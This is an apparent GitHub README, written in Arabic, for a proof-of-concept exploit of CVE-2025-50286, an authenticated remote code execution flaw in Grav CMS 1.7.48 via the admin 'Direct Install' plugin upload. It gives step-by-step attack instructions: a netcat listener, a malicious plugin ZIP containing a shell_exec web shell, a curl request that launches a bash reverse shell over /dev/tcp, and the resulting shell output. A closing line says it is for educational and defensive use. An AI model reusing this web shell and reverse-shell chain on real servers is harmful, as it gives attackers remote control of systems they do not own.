binneko/cve-2025-50286استغلال RCE مصادق عليه لـ Grav CMS عبر رفع إضافة، يوضح تنفيذ كود PHP عشوائي وقشرة عكسية.
Grav CMS الإصدار 1.7.48 مع الإضافة الإدارية الإصدار 1.10.48 معرضة لـ تنفيذ الأوامر عن بُعد (RCE) عبر ميزة رفع الإضافات "التثبيت المباشر"، مما يسمح للمسؤولين المصادق عليهم بتنفيذ كود PHP عشوائي على الخادم.
/admin/tools/direct-install (لوحة الإدارة > الأدوات > التثبيت المباشر)قم بتجهيز مستمع:
nc -lvnp 4444
سجل الدخول إلى لوحة الإدارة في Grav كمسؤول.
انتقل إلى الأدوات > التثبيت المباشر
ارفع ملف ZIP ضار للإضافة (evilplugin.zip) مبني على النحو التالي:
evilplugin/
├── evilplugin.php ← يحتوي على: shell_exec($_GET['cmd'])
└── blueprints.yaml ← مخطط أدنى لاجتياز التحقق
قم بتشغيل الـ reverse shell:
curl --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'" http://<target>/
استقبال الـ reverse shell:
$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on <target-ip>
www-data@target:/var/www/html$ whoami
www-data
/admin/tools/direct-installلأغراض تعليمية ودفاعية فقط.